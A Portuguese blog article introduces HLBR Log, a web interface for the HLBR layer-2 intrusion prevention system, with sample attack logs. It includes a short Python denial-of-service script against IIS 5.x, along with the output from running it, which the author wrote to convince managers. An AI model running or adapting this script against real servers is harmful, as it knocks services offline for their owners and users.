

HLBR Log (Uma alternativa para gerenciar o HLBR)

O **HLBR Log** é um software que tem como finalidade gerenciar o **HLBR**. O HLBR é um projeto brasileiro derivado do **Hogwash** (desenvolvido por Jason Larsen). Este projeto é destinado à segurança em redes de computadores.

O HLBR (Hogwash Light BR) é um **IPS** (Intrusion Prevention System) capaz de filtrar pacotes diretamente na camada 2 do modelo OSI (não necessita de endereço IP na máquina). A detecção de tráfego malicioso é baseada em regras simples (o próprio usuário poderá confeccionar novas regras). É bastante eficiente e versátil, podendo ser usado até mesmo como bridge para honeypots e honeynets. Como não usa a pilha TCP/IP do sistema operacional, ele é "invisível" a outras máquinas na rede e atacantes.

Precisei implementar uma solução de IPS no governo (Tribunal de Contas do Estado do Amazonas), foi quando conheci o HLBR. Existia um servidor web IIS (num w2k server) que sempre era alvo de ataques, ficando de vez em quando fora do ar. Propus para os meus superiores, configurar um servidor de aplicações (ZOPE/Plone) atrás de um Linux/Apache, para aumentar a segurança, mas como o pessoal que cuidava do site, não queriam aprender uma nova tecnologia, então configurei o HLBR como uma bridge entre o Roteador e o Firewall, e mantive o IIS. E os problemas amenizaram, pois o HLBR vem com inúmeras regras contra ataques à servidores web, sendo que há uma grande facilidade para confeccionar suas próprias regras. Mas antes de implementar a solução tive que convencê-los que mesmo atrás de um firewall, um servidor web ou um servidor de email, pode ser vítima de um ataque bem sucedido. Então escrevi um exploit (ii5hack.py) para tirar um servidor web IIS do ar (fiz isso só para demonstrar para a diretoria). Como tinha o Windows XP SP 2 instalado no meu laptop em dual boot com uma distro Linux, aproveitei o IIS 5.1 que vem no CD de instalação do XP e fiz um demonstração de um ataque por exploit mesmo estando atrás de um firewall:

```
import urllib2, random, sys

pasta = random.choice(['_vti_bin','_sharepoint'])
ascii = random.choice(['%3f','"', '*', ':', '<', '>'])
barras = random.choice(['\\', '/'])
numeros = str(random.choice(xrange(10)))

def main():

    if len(sys.argv) < 3:
        sys.exit()

    alvo = sys.argv[1]
    contador = int(sys.argv[2])

    for n in range(1, contador):
        try:
            url = urllib2.build_opener()
            url.open('http://' + alvo + '/' + pasta + '/' + '.dll' + ascii + barras + '~' + numeros)
        except:
            print "Tentando derrubar o IIS..."

    print "\n### Concluido! ###"

if __name__ == "__main__":
    main()
```

Desferi o ataque:

```
atacante@lab: ~
Arquivo Editar Ver Terminal Abas Ajuda
atacante@lab:~$ ls
Desktop iis5hack.py
atacante@lab:~$ python iis5hack.py 192.168.0.80 5
Tentando derrubar o IIS...
Tentando derrubar o IIS...
Tentando derrubar o IIS...
Tentando derrubar o IIS...

### Concluido! ###
atacante@lab:~$ █
```

O ataque foi bem sucedido:



E o servidor web saiu do ar. Então eles me deixaram implementar o HLBR.

Mas havia um problema. Quando precisava mostrar os ataques que o HLBR havia impedido, para os meus superiores, que não eram escovador de bits, eles ficavam meio frustrados com a aparência da saída dos logs:

```
root@██████████:/var/log/hlbr# ls
hlbr-2.dump hlbr.dump.10 hlbr.dump.2 hlbr.dump.8 hlbr.log.11 hlbr.log.3 hlbr.log.9
hlbr-2.log hlbr.dump.11 hlbr.dump.3 hlbr.dump.9 hlbr.log.12 hlbr.log.4 virus.dump
hlbr.data hlbr.dump.12 hlbr.dump.4 hlbr.log hlbr.log.13 hlbr.log.5 virus.log
hlbr.dump hlbr.dump.13 hlbr.dump.5 hlbr.log.0 hlbr.log.14 hlbr.log.6 virus.log.0
hlbr.dump.0 hlbr.dump.14 hlbr.dump.6 hlbr.log.1 hlbr.log.15 hlbr.log.7 virus.log.2
hlbr.dump.1 hlbr.dump.15 hlbr.dump.7 hlbr.log.10 hlbr.log.2 hlbr.log.8
root@rogerio-laptop:/var/log/hlbr# tail hlbr.log.15
00000016 01/04/2006 23:39:58 217.11.148.27:33796->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000017 01/04/2006 23:40:00 217.11.148.27:33872->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000018 01/04/2006 23:40:03 217.11.148.27:33796->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000019 01/04/2006 23:40:14 217.11.148.27:33796->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000020 01/04/2006 23:40:34 217.11.148.27:33796->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000021 01/04/2006 23:41:04 202.160.180.175:43337->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000022 01/04/2006 23:41:15 217.11.148.27:33796->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000023 01/04/2006 23:41:15 202.160.180.137:59218->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000024 01/04/2006 23:41:15 202.160.180.137:59218->██████████:80 (mambo-phpnuke-1-re) mambo attack
00000025 01/04/2006 23:42:36 217.11.148.27:33796->██████████:80 (mambo-phpnuke-1-re) mambo attack
root@██████████:/var/log/hlbr#
```

Pois estavam acostumados com alguma ferramenta que exibisse os dados de forma elegante. Pois comandos num terminal, não é algo muito agradável para um Diretor de TI.

Foi então quando decidi desenvolver o HLBR Log. Mas como o HLBR não tem TCP/IP, como poderia fazer algo estilo o SARG ou MYSAR que exhibe os logs do squid de forma organizada, e até que simpática? Ele é invisível! Trabalha em camada 2! Como farei algo parecido com o SARG ou MYSAR?

Foi quando tive a idéia de instalar um ambiente gráfico na máquina onde o HLBR está rodando. Mas o servidor X não abre portas tcp? Isso não é bom para segurança! Mas isso só é válido quando você está trabalhando em camada 3! Como o HLBR não usa TCP/IP, então isso não é um problema. A primeira versão do HLBR Log, eu fiz em Python com ZOPE, mas ficou um pouco pesado. Então decidi fazer em Python com Apache:



[Logs]
Ataques por Exploits
Ataques por Virus
Gerar PDF

[Regras]
Nova Regra
Editar Regra
Excluir Regra

[Admin]
Reiniciar HLBR
Atualizar HLBR.RULES
Estatística de Ataques

[Info]
HLBR Log

[Autor]
Rogerio Ferreira

[Ajuda]
Manual



Concluído

Como o HLBR não trabalha em camada 3, não é possível acessar o HLBR Log remotamente, como o SARG ou MYSAR, mas não é tão inconveniente acessar localmente os logs do HLBR. Esse é preço da invisibilidade. A segurança tem um preço, e se o preço for acessar os logs de um IPS localmente, ou seja, na máquina onde ele está instalado, eu acho que vale a pena.

Abaixo segue algumas saídas de logs (reais! num ambiente de produção!), do HLBR Log:



Ataques por Exploits

29/03/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
16:26:45	200.208.181.210	60080	[REDACTED]	80	(webattacks-3-re) request
Total de Ataques do Dia: 1					
30/03/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
07:26:53	200.216.179.210	25063	[REDACTED]	80	(webattacks-3-re) request
Total de Ataques do Dia: 1					
31/03/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
11:39:30	200.242.61.19	29155	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
11:39:34	200.242.61.19	29155	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
11:39:42	200.242.61.19	29155	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
11:39:57	200.242.61.19	29155	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
11:40:27	200.242.61.19	29155	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
11:41:28	200.242.61.19	35898	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)

Concluído

01:07:16	200.210.66.190	3065	[REDACTED]	80	(webattacks-3-re) request
01:07:40	200.210.66.190	3065	[REDACTED]	80	(webattacks-3-re) request
01:08:28	200.210.66.190	3065	[REDACTED]	80	(webattacks-3-re) request
08:02:27	200.139.170.117	1070	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
08:02:29	200.139.170.117	1070	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
08:02:33	200.139.170.117	1070	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
08:02:41	200.139.170.117	1070	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
08:02:57	200.139.170.117	1070	[REDACTED]	80	(webattacks-2-re) directory change attempt (unicode,asc,plain)
Total de Ataques do Dia: 11					
21/06/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
09:58:24	200.242.43.218	33285	[REDACTED]	80	(webattacks-3-re) request
Total de Ataques do Dia: 1					
29/06/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
08:47:14	200.216.97.94	1219	[REDACTED]	80	(webattacks-3-re) request
Total de Ataques do Dia: 1					
10/07/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
07:30:34	200.242.49.58	59541	[REDACTED]	80	(webattacks-3-re) request
09:31:28	200.213.236.22	42469	[REDACTED]	80	(webattacks-3-re) request
Total de Ataques do Dia: 2					
Total Geral de Ataques (de 29/03/2006 a 10/07/2006): 242					



Concluído

HLBR Log - Uma Alternativa para Administrar o HLBR! - Mozilla Firefox

Arquivo Editar Exibir Histórico Favoritos Ferramentas Ajuda

http://localhost/cgi-bin/virusattacks.py

Google

HLBR LOG

Ataques por Virus

10/04/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
22:52:31	217.11.148.27	44751	██████████	25	(mailvirus-1-re) .scr attach
22:52:31	217.11.148.27	44675	██████████	25	(mailvirus-1-re) .scr attach
22:52:32	217.11.148.27	44819	██████████	25	(mailvirus-1-re) .scr attach
22:52:43	217.11.148.27	44751	██████████	25	(mailvirus-1-re) .scr attach
Total de Ataques do Dia: 4					
16/06/2006					
Hora	IP Origem	Porta Origem	IP Destino	Porta Destino	Assinatura
18:28:51	130.227.55.243	47209	██████████	25	(mailvirus-4-re) .com attach
18:28:53	130.227.55.243	47304	██████████	25	(mailvirus-4-re) .com attach
18:28:53	130.227.55.243	47209	██████████	25	(mailvirus-4-re) .com attach
18:28:54	130.227.55.243	47403	██████████	25	(mailvirus-4-re) .com attach
18:28:55	130.227.55.243	47304	██████████	25	(mailvirus-4-re) .com attach
18:28:56	130.227.55.243	47403	██████████	25	(mailvirus-4-re) .com attach
18:28:57	130.227.55.243	47209	██████████	25	(mailvirus-4-re) .com attach
Total de Ataques do Dia: 7					
Total Geral de Ataques (de 10/04/2006 a 16/06/2006): 11					

Concluido

Até o final deste ano (2007) estarei liberando o HLBR Log para uso. Em breve o projeto estará hospedado em:
<http://hlbrlog.sourceforge.net>

Para saber mais sobre o HLBR:
<http://hlbr.sourceforge.net>

Ou a Seção **Segurança** da Revista **Linux Magazine**: Hogwash Light BR, o IPS invisível (Invisivelmente), pp. 66-69, Edição 35, Outubro de 2007, Autor: Rogerio Ferreira.



Rogério Ferreira
<http://rogerioferreira.objectis.net>
rogeriotux@gmail.com
 55-92-9123-2569